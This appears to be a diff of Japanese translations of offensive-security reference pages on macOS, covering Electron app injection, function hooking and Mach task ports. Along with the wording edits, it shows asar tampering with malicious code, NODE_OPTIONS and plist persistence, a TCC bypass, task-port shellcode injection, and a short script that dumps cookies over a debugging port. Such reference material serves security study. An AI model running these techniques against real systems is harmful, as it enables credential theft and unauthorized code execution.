Electronアプリが使用している**外部JS/HTMLファイル**がある可能性があるため、攻撃者はこれらのファイルにコードを注入し、その署名がチェックされずにアプリのコンテキストで任意のコードを実行できます。 Electronアプリが使用している**外部JS/HTMLファイル**がある可能性があるため、攻撃者はこれらのファイルにコードを注入し、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
> [!CAUTION] > [!CAUTION]
> ただし、現時点では2つの制限があります > ただし、現時点では2つの制限があります
> >
> - アプリを変更するには**`kTCCServiceSystemPolicyAppBundles`**権限が**必要**であり、デフォルトではこれがもはや可能ではありません。 > - アプリを変更するには**`kTCCServiceSystemPolicyAppBundles`**権限が**必要**であり、デフォルトではこれがもはや可能ではありません。
> - コンパイルされた**`asap`**ファイルは通常、ヒューズ**`embeddedAsarIntegrityValidation`** `と` **`onlyLoadAppFromAsar`** `が`有効です。 > - コンパイルされた**`asap`**ファイルは通常、ヒューズ**`embeddedAsarIntegrityValidation`** `と` **`onlyLoadAppFromAsar`**`有効`です。
> >
> この攻撃経路をより複雑(または不可能)にします。 > この攻撃経路をより複雑(または不可能)にします。
**`kTCCServiceSystemPolicyAppBundles`**の要件を回避することは可能で、アプリケーションを別のディレクトリ(例えば**`/tmp`**)にコピーし、フォルダ**`app.app/Contents`**の名前を**`app.app/NotCon`**に変更し、**悪意のある**コードで**asar**ファイルを**変更**し、再び**`app.app/Contents`**に名前を戻して実行することができます。 **`kTCCServiceSystemPolicyAppBundles`**の要件を回避することは可能で、アプリケーションを別のディレクトリ(例えば**`/tmp`**)にコピーし、フォルダ**`app.app/Contents`**の名前を**`app.app/NotCon`**に変更し、**悪意のある**コードで**asar**ファイルを**変更**し、再び**`app.app/Contents`**に名前を戻して実行することができます。
asarファイルからコードを展開するには、次のコマンドを使用できます asarファイルからコードを展開するには、次のコマンドを使用できます
```bash ```bash
npx asar extract app.asar app-decomp npx asar extract app.asar app-decomp
``` ```
そして、次のように修正した後に再パッケージ化します そして、次のように修正した後に再パッケージ化します:
```bash ```bash
npx asar pack app-decomp app-new.asar npx asar pack app-decomp app-new.asar
``` ```
@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
### アプリのPlistからのインジェクション ### アプリのPlistからのインジェクション
[**ここで提案されているように**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/)、この環境変数をplistで悪用して続性を維持することができます: [**ここで提案されているように**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/)、この環境変数をplistで悪用して続性を維持することができます:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -129,7 +129,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
### アプリのPlistからのインジェクション ### アプリのPlistからのインジェクション
の環境変数をplistで悪用して、持続性を維持するためにこれらのキーを追加できます: れらのキーを追加することで、plist内のこの環境変数を悪用して永続性を維持できます:
```xml ```xml
<dict> <dict>
<key>EnvironmentVariables</key> <key>EnvironmentVariables</key>
@ -147,7 +147,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
``` ```
## RCE with inspecting ## RCE with inspecting
According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), **`--inspect`**、**`--inspect-brk`**、および **`--remote-debugging-port`** のようなフラグを使用してElectronアプリケーションを実行すると、**デバッグポートが開かれ**、それに接続できるようになります(例えば、`chrome://inspect`のChromeからし、**コードを注入したり**、新しいプロセスを起動したりすることができます。\ According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\
例えば: 例えば:
```bash ```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
@ -157,11 +157,11 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
> [!CAUTION] > [!CAUTION]
> フューズ **`EnableNodeCliInspectArguments`** が無効になっている場合、アプリは起動時にノードパラメータ(`--inspect` など)を **無視**します。ただし、環境変数 **`ELECTRON_RUN_AS_NODE`** が設定されている場合は、これもフューズ **`RunAsNode`** が無効になっていると **無視**されます。 > フューズ **`EnableNodeCliInspectArguments`** が無効になっている場合、アプリは起動時にノードパラメータ(`--inspect` など)を **無視**します。ただし、環境変数 **`ELECTRON_RUN_AS_NODE`** が設定されている場合は、これもフューズ **`RunAsNode`** が無効になっていると **無視**されます。
> >
> しかし、**electron パラメータ `--remote-debugging-port=9229`** を使用することで、Electronアプリから**履歴**GETコマンドを使用や**クッキー**の情報を盗むことが可能ですが、前のペイロードは他のプロセスを実行するためには機能しません。 > しかし、**electron パラメータ `--remote-debugging-port=9229`** を使用することで、Electronアプリから**履歴**GETコマンドを使用ブラウザの**クッキー**を盗むことが可能ですが、前のペイロードは他のプロセスを実行するためには機能しません。
パラメータ **`--remote-debugging-port=9222`** を使用することで、Electronアプリから**履歴**GETコマンドを使用や**クッキー**の情報を盗むことが可能です(クッキーはブラウザ内で**復号化**され、**jsonエンドポイント**がそれらを提供します)。 パラメータ **`--remote-debugging-port=9222`** を使用することで、Electronアプリから**履歴**GETコマンドを使用ブラウザの**クッキー**を盗むことが可能です(クッキーはブラウザ内で**復号化**され、クッキーを提供する**jsonエンドポイント**があります)。
その方法については[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学ぶことができ、ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のようなシンプルなスクリプトを使用できます: その方法については[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学ぶことができ、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のようなシンプルなスクリプトを使用できます:
```python ```python
import websocket import websocket
ws = websocket.WebSocket() ws = websocket.WebSocket()
@ -169,7 +169,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv() print(ws.recv()
``` ```
[**このブログ投稿**](https://hackerone.com/reports/1274695)では、このデバッグが悪用されて、ヘッドレスChromeが**任意のファイルを任意の場所にダウンロード**します。 [**このブログ投稿**](https://hackerone.com/reports/1274695)では、このデバッグが悪用されて、ヘッドレスChromeが**任意の場所に任意のファイルをダウンロード**します。
### アプリのPlistからのインジェクション ### アプリのPlistからのインジェクション
@ -187,19 +187,19 @@ print(ws.recv()
<true/> <true/>
</dict> </dict>
``` ```
## TCC バイパス 古いバージョンの悪用 ## TCCバイパス:古いバージョンの悪用
> [!TIP] > [!TIP]
> macOS TCC デーモンは、実行されているアプリケーションのバージョンをチェックしません。したがって、**以前の技術を使用して Electron アプリケーションにコードを注入できない場合**、アプリの以前のバージョンをダウンロードしてコードを注入することができます。そうすれば、TCC 権限を取得しますTrust Cache がそれを防がない限り)。 > macOSのTCCデーモンは、実行されているアプリケーションのバージョンをチェックしません。したがって、**以前の技術を使用してElectronアプリケーションにコードを注入できない場合**、アプリの以前のバージョンをダウンロードしてコードを注入することができます。そうすれば、TCCの権限を取得しますTrust Cacheがそれを防がない限り)。
## 非 JS コードの実行 ## 非JSコードの実行
前述の技術を使用すると、**Electron アプリケーションのプロセス内で JS コードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイルの下で実行され**、**TCC 権限を継承します**。\ 前述の技術を使用すると、**Electronアプリケーションのプロセス内でJSコードを実行する**ことができます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイルの下で実行され**、**TCC権限を継承します**。\
したがって、カメラやマイクにアクセスするために権限を悪用したい場合は、**プロセスから別のバイナリを実行するだけで済みます**。 したがって、カメラやマイクにアクセスするために権限を悪用したい場合は、**プロセスから別のバイナリを実行するだけで済みます**。
## 自動注入 ## 自動注入
ツール [**electroniz3r**](https://github.com/r3ggi/electroniz3r) は、**脆弱な Electron アプリケーション**を見つけてそれにコードを注入するために簡単に使用できます。このツールは、**`--inspect`** 技術を使用しようとします: ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、**脆弱なElectronアプリケーション**を見つけてそれにコードを注入するために簡単に使用できます。このツールは、**`--inspect`**技術を使用しようとします:
自分でコンパイルする必要があり、次のように使用できます: 自分でコンパイルする必要があり、次のように使用できます:
```bash ```bash

View File

@ -84,7 +84,7 @@ Hello from interpose
### ダイナミックインターポジング ### ダイナミックインターポジング
現在、関数 **`dyld_dynamic_interpose`** を使用して関数を動的にインターポーズすることも可能です。これにより、最初からだけでなく、実行時にプログラム的に関数をインターポーズできます。 現在、関数 **`dyld_dynamic_interpose`** を使用して動的に関数をインターポーズすることも可能です。これにより、最初からだけでなく、実行時にプログラム的に関数をインターポーズできます。
**置き換える関数と置き換え関数のタプル**を指定するだけで済みます。 **置き換える関数と置き換え関数のタプル**を指定するだけで済みます。
```c ```c
@ -226,15 +226,15 @@ return 0;
} }
``` ```
> [!WARNING] > [!WARNING]
> この場合、**正当な**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。 > この場合、**正当な**メソッドの**実装コード**が**メソッド**の****を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。
> >
> 次の技術にはこの制限はありません。 > 次の技術にはこの制限はありません。
### method_setImplementationによるメソッドスウィズリング ### method_setImplementationによるメソッドスウィズリング
前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**あるメソッドの実装を別のメソッドに変更**できます。 前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。関数**`method_setImplementation`**を使用すると、**あるメソッドの実装を別のメソッドに**変更できます。
新しい実装から元の実装を呼び出す予定がある場合は、上書きする前に**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのは非常に複雑になります。 上書きする前に新しい実装から元の実装を呼び出すつもりなら、**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのは非常に複雑になります。
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <objc/runtime.h> #import <objc/runtime.h>
@ -290,7 +290,7 @@ return 0;
このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。 このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。
れを行うための最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[Dylibプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)を介して行うことができると思います。 のために、最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[Dylibプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)を介して行うことができると思います。
ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。 ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。

View File

@ -28,7 +28,7 @@ Machはリソースを共有するための**最小単位**として**タスク*
- **ポート権限**はMacメッセージを介しても**渡すことができます** - **ポート権限**はMacメッセージを介しても**渡すことができます**
- **一度だけの送信権限**は、ポートに1つのメッセージを送信し、その後消失します。 - **一度だけの送信権限**は、ポートに1つのメッセージを送信し、その後消失します。
- この権限は**クローン**できませんが、**移動**することができます。 - この権限は**クローン**できませんが、**移動**することができます。
- **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中のポートの1つからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。 - **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。
- **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破壊されると、ポートへのすべての既存のポート権限はデッドネームに変わります。 - **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破壊されると、ポートへのすべての既存のポート権限はデッドネームに変わります。
**タスクは他のタスクに送信権限を転送**でき、メッセージを返送することが可能になります。**送信権限はクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスを組み合わせることで、タスク間の効果的な通信が可能になります。 **タスクは他のタスクに送信権限を転送**でき、メッセージを返送することが可能になります。**送信権限はクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスを組み合わせることで、タスク間の効果的な通信が可能になります。
@ -57,7 +57,7 @@ Machはリソースを共有するための**最小単位**として**タスク*
その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に関連付けられた**バイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。 その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に関連付けられた**バイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
これらの事前定義されたサービスについては、**ルックアッププロセスがわずかに異なります**。サービス名がルックアップされると、launchdはサービスを動的に開始します。新しいワークフローは次のようになります これらの事前定義されたサービスに対して、**ルックアッププロセスはわずかに異なります**。サービス名がルックアップされると、launchdはサービスを動的に開始します。新しいワークフローは次のようになります
- タスク**B**がサービス名のブートストラップ**ルックアップ**を開始します。 - タスク**B**がサービス名のブートストラップ**ルックアップ**を開始します。
- **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。 - **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。
@ -85,7 +85,7 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id; mach_msg_id_t msgh_id;
} mach_msg_header_t; } mach_msg_header_t;
``` ```
プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信権**_ が付与されます。一度だけ送信権は、単一のメッセージを送信するためのもので、その後は無効になります。 プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する**_ が付与されます。一度だけ送信するは、単一のメッセージを送信するためのもので、その後は無効になります。
初期フィールド **`msgh_bits`** はビットマップです: 初期フィールド **`msgh_bits`** はビットマップです:
@ -95,7 +95,7 @@ mach_msg_id_t msgh_id;
- 3バイト目の **5つの最下位ビット****ローカルポート** に使用できます。 - 3バイト目の **5つの最下位ビット****ローカルポート** に使用できます。
- 4バイト目の **5つの最下位ビット****リモートポート** に使用できます。 - 4バイト目の **5つの最下位ビット****リモートポート** に使用できます。
バウチャー、ローカルポート、リモートポートで指定できるタイプは次のとおりです([**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) から): バウチャー、ローカルポート、およびリモートポートで指定できるタイプは次のとおりです([**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) から):
```c ```c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */ #define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */ #define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
@ -110,7 +110,7 @@ mach_msg_id_t msgh_id;
``` ```
例えば、`MACH_MSG_TYPE_MAKE_SEND_ONCE`は、このポートのために**送信一次権利**を導出し、転送することを**示す**ために使用できます。また、受信者が返信できないようにするために`MACH_PORT_NULL`を指定することもできます。 例えば、`MACH_MSG_TYPE_MAKE_SEND_ONCE`は、このポートのために**送信一次権利**を導出し、転送することを**示す**ために使用できます。また、受信者が返信できないようにするために`MACH_PORT_NULL`を指定することもできます。
簡単な**双方向通信**を実現するために、プロセスは**返信ポート****`msgh_local_port`**と呼ばれるmach **メッセージヘッダー**内の**machポート**を指定することができ、メッセージの**受信者**はこのメッセージに**返信**を送信できます。 簡単な**双方向通信**を実現するために、プロセスは**返信ポート****`msgh_local_port`**と呼ばれるmach **メッセージヘッダー**内の**machポート**を指定することができます。ここで、メッセージの**受信者**はこのメッセージに**返信を送信**できます。
> [!TIP] > [!TIP]
> この種の双方向通信は、再生を期待するXPCメッセージ`xpc_connection_send_message_with_reply`および`xpc_connection_send_message_with_reply_sync`)で使用されることに注意してください。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。 > この種の双方向通信は、再生を期待するXPCメッセージ`xpc_connection_send_message_with_reply`および`xpc_connection_send_message_with_reply_sync`)で使用されることに注意してください。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
@ -163,20 +163,20 @@ In 32ビットでは、すべてのディスクリプタは12Bで、ディスク
- **`mach_port_allocate` | `mach_port_construct`**: **ポートを作成**します。 - **`mach_port_allocate` | `mach_port_construct`**: **ポートを作成**します。
- `mach_port_allocate`は**ポートセット**も作成できます:ポートのグループに対する受信権。メッセージが受信されると、どのポートから受信されたかが示されます。 - `mach_port_allocate`は**ポートセット**も作成できます:ポートのグループに対する受信権。メッセージが受信されると、どのポートから受信されたかが示されます。
- `mach_port_allocate_name`: ポートの名前を変更しますデフォルトは32ビット整数 - `mach_port_allocate_name`: ポートの名前を変更しますデフォルトは32ビット整数
- `mach_port_names`: ターゲットからポート名を取得します - `mach_port_names`: ターゲットからポート名を取得します
- `mach_port_type`: 名前に対するタスクの権利を取得します - `mach_port_type`: 名前に対するタスクの権利を取得します
- `mach_port_rename`: ポートの名前を変更しますFDのdup2のように - `mach_port_rename`: ポートの名前を変更しますFDのdup2のように
- `mach_port_allocate`: 新しいRECEIVE、PORT_SETまたはDEAD_NAMEを割り当てます - `mach_port_allocate`: 新しいRECEIVE、PORT_SETまたはDEAD_NAMEを割り当てます
- `mach_port_insert_right`: RECEIVEを持つポートに新しい権利を作成します - `mach_port_insert_right`: RECEIVEを持つポートに新しい権利を作成します
- `mach_port_...` - `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: **machメッセージを送受信するために使用される関数**上書きバージョンでは、メッセージ受信のために異なるバッファを指定できます(他のバージョンはそれを再利用します)。 - **`mach_msg`** | **`mach_msg_overwrite`**: **machメッセージを送受信するために使用される関数**オーバーライトバージョンでは、メッセージ受信のために異なるバッファを指定できます(他のバージョンはそれを再利用します)。
### Debug mach_msg ### Debug mach_msg
**`mach_msg`**および**`mach_msg_overwrite`**関数はメッセージを送受信するために使用されるため、これらにブレークポイントを設定すると、送信されたメッセージと受信されたメッセージを検査できます。 **`mach_msg`**および**`mach_msg_overwrite`**関数はメッセージを送受信するために使用されるため、これらにブレークポイントを設定すると、送信されたメッセージと受信されたメッセージを検査できます。
たとえば、デバッグ可能な任意のアプリケーションのデバッグを開始すると、**`libSystem.B`がロードされ、この関数を使用します**。 たとえば、デバッグ可能な任意のアプリケーションのデバッグを開始すると、**`libSystem.B`がロードされ、この関数が使用されます**。
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg <pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20 </strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@ -268,10 +268,10 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...] [...]
``` ```
**名前**はポートに与えられたデフォルトの名前です最初の3バイトでどのように**増加**しているかを確認してください)。**`ipc-object`**はポートの**難読化された**一意の**識別子**です。\ **名前**はポートに与えられたデフォルトの名前です最初の3バイトでどのように**増加**しているかを確認してください)。**`ipc-object`**はポートの**難読化された**一意の**識別子**です。\
また、**`send`**権限のみを持つポートがその所有者(ポート名 + pidを**識別している**ことにも注意してください。\ また、**`send`**権限のみを持つポートがそれを**所有者を特定している**方法(ポート名 + pidにも注意してください。\
さらに、**`+`**を使用して**同じポートに接続された他のタスク**を示していることにも注意してください。 同じポートに接続された**他のタスク**を示すために**`+`**が使用されていることにも注意してください。
また、[**procesxp**](https://www.newosxbook.com/tools/procexp.html)を使用して、**登録されたサービス名**`com.apple.system-task-port`の必要性によりSIPが無効になっている場合も確認できます また、[**procesxp**](https://www.newosxbook.com/tools/procexp.html)を使用して、**登録されたサービス名**`com.apple.system-task-port`の必要性によりSIPが無効になっている場合も確認できます
``` ```
procesp 1 ports procesp 1 ports
``` ```
@ -407,7 +407,7 @@ printf("Sent a message\n");
## 特権ポート ## 特権ポート
特定の敏感なアクションを実行したり、特定の敏感なデータにアクセスしたりすることを可能にする特別なポートがあります。タスクがそれらに対して**SEND**権限を持っている場合、これらのポートは攻撃者の視点から非常に興味深いものとなります。なぜなら、機能だけでなく、タスク間で**SEND権限を共有する**ことが可能だからです。 特定のタスクがそれらに対して**SEND**権限を持つ場合、**特定の敏感なアクションを実行したり、特定の敏感なデータにアクセスしたりする**ことを可能にする特別なポートがあります。これにより、攻撃者の視点からこれらのポートは非常に興味深いものとなります。なぜなら、機能だけでなく、**タスク間でSEND権限を共有する**ことが可能だからです。
### ホスト特別ポート ### ホスト特別ポート
@ -416,7 +416,7 @@ printf("Sent a message\n");
**SEND**権利は**`host_get_special_port`**を呼び出すことで取得でき、**RECEIVE**権利は**`host_set_special_port`**を呼び出すことで取得できます。しかし、両方の呼び出しには**`host_priv`**ポートが必要で、これはルートのみがアクセスできます。さらに、過去にはルートが**`host_set_special_port`**を呼び出して任意のポートをハイジャックでき、例えば`HOST_KEXTD_PORT`をハイジャックすることでコード署名をバイパスすることができました現在はSIPがこれを防止しています **SEND**権利は**`host_get_special_port`**を呼び出すことで取得でき、**RECEIVE**権利は**`host_set_special_port`**を呼び出すことで取得できます。しかし、両方の呼び出しには**`host_priv`**ポートが必要で、これはルートのみがアクセスできます。さらに、過去にはルートが**`host_set_special_port`**を呼び出して任意のポートをハイジャックでき、例えば`HOST_KEXTD_PORT`をハイジャックすることでコード署名をバイパスすることができました現在はSIPがこれを防止しています
これらは2つのグループに分かれています**最初の7つのポートはカーネルによって所有され**、1が`HOST_PORT`、2が`HOST_PRIV_PORT`、3が`HOST_IO_MASTER_PORT`、7が`HOST_MAX_SPECIAL_KERNEL_PORT`です。\ これらは2つのグループに分かれています**最初の7つのポートはカーネルによって所有され**、1が`HOST_PORT`、2が`HOST_PRIV_PORT`、3が`HOST_IO_MASTER_PORT`、7が`HOST_MAX_SPECIAL_KERNEL_PORT`です。\
番号**8**から始まるものは**システムデーモンによって所有され**、[**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html)に宣言されています。 **8**から始まる番号のポートは**システムデーモンによって所有され**、[**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html)に宣言されています。
- **ホストポート**:プロセスがこのポートに対して**SEND**権限を持っている場合、次のようなルーチンを呼び出すことで**システム**に関する**情報**を取得できます: - **ホストポート**:プロセスがこのポートに対して**SEND**権限を持っている場合、次のようなルーチンを呼び出すことで**システム**に関する**情報**を取得できます:
- `host_processor_info`: プロセッサ情報を取得 - `host_processor_info`: プロセッサ情報を取得
@ -424,7 +424,7 @@ printf("Sent a message\n");
- `host_virtual_physical_table_info`: 仮想/物理ページテーブルMACH_VMDEBUGが必要 - `host_virtual_physical_table_info`: 仮想/物理ページテーブルMACH_VMDEBUGが必要
- `host_statistics`: ホスト統計を取得 - `host_statistics`: ホスト統計を取得
- `mach_memory_info`: カーネルメモリレイアウトを取得 - `mach_memory_info`: カーネルメモリレイアウトを取得
- **ホストプライベートポート**:このポートに対して**SEND**権限を持つプロセスは、ブートデータを表示したり、カーネル拡張を読み込もうとしたりする**特権アクション**を実行できます。この権限を取得するには**プロセスがルートである必要があります**。 - **ホスト特権ポート**:このポートに対して**SEND**権限を持つプロセスは、ブートデータを表示したり、カーネル拡張を読み込もうとしたりする**特権アクション**を実行できます。この**権限を取得するにはプロセスがルートである必要があります**。
- さらに、**`kext_request`** APIを呼び出すには、他の権限**`com.apple.private.kext*`**が必要で、これはAppleのバイナリにのみ付与されます。 - さらに、**`kext_request`** APIを呼び出すには、他の権限**`com.apple.private.kext*`**が必要で、これはAppleのバイナリにのみ付与されます。
- 呼び出すことができる他のルーチンは次のとおりです: - 呼び出すことができる他のルーチンは次のとおりです:
- `host_get_boot_info`: `machine_boot_info()`を取得 - `host_get_boot_info`: `machine_boot_info()`を取得
@ -434,7 +434,7 @@ printf("Sent a message\n");
- `mach_vm_wire`: メモリを常駐させる - `mach_vm_wire`: メモリを常駐させる
- **ルート**はこの権限にアクセスできるため、`host_set_[special/exception]_port[s]`を呼び出して**ホスト特別または例外ポートをハイジャック**することができます。 - **ルート**はこの権限にアクセスできるため、`host_set_[special/exception]_port[s]`を呼び出して**ホスト特別または例外ポートをハイジャック**することができます。
すべてのホスト特別ポートを表示するには、次のコマンドを実行します すべてのホスト特別ポートは、次のコマンドを実行することで**見ることができます**
```bash ```bash
procexp all ports | grep "HSP" procexp all ports | grep "HSP"
``` ```
@ -489,7 +489,7 @@ world.*/
- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。 - **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
- **ルートは**、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできますAppleからではありません - **ルートは**、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできますAppleからではありません
**タスク名ポート:** _タスクポート_の特権のないバージョン。タスクを参照しますが、制御することはできません。これを通じて利用可能な唯一のものは`task_info()`のようです。 **タスク名ポート** _タスクポート_の特権のないバージョン。タスクを参照しますが、制御することはできません。これを通じて利用可能な唯一のものは`task_info()`のようです。
### スレッドポート ### スレッドポート
@ -506,7 +506,7 @@ world.*/
### タスクポート経由のスレッドへのシェルコード注入 ### タスクポート経由のスレッドへのシェルコード注入
シェルコードを取得することができます シェルコードを取得するには
{{#ref}} {{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -778,7 +778,7 @@ macOSでは、**スレッド**は**Mach**を介して、または**posix `pthrea
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。その後、この新しいpthreadは**dlopenを呼び出して**システムから**dylibをロード**することができるため、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。 したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。その後、この新しいpthreadは**dlopenを呼び出して**システムから**dylibをロード**することができるため、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
**例のdylibs**は以下にあります(例えば、ログを生成し、その後リスンできるもの): **例のdylibs**は以下にあります(例えば、ログを生成し、その後リスできるもの):
{{#ref}} {{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md ../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -1076,15 +1076,15 @@ macos-thread-injection-via-task-port.md
## 例外ポート ## 例外ポート
スレッドで例外が発生すると、この例外はスレッドの指定された例外ポートに送信されます。スレッドがそれを処理しない場合、タスクの例外ポートに送信されます。タスクがそれを処理しない場合、ホストポートに送信され、launchdによって管理されますここで承認されます。これを例外トリアージと呼びます。 スレッドで例外が発生すると、この例外はスレッドの指定された例外ポートに送信されます。スレッドがそれを処理しない場合、タスクの例外ポートに送信されます。タスクがそれを処理しない場合、ホストポートに送信され、これはlaunchdによって管理されますここで承認されます。これを例外トリアージと呼びます。
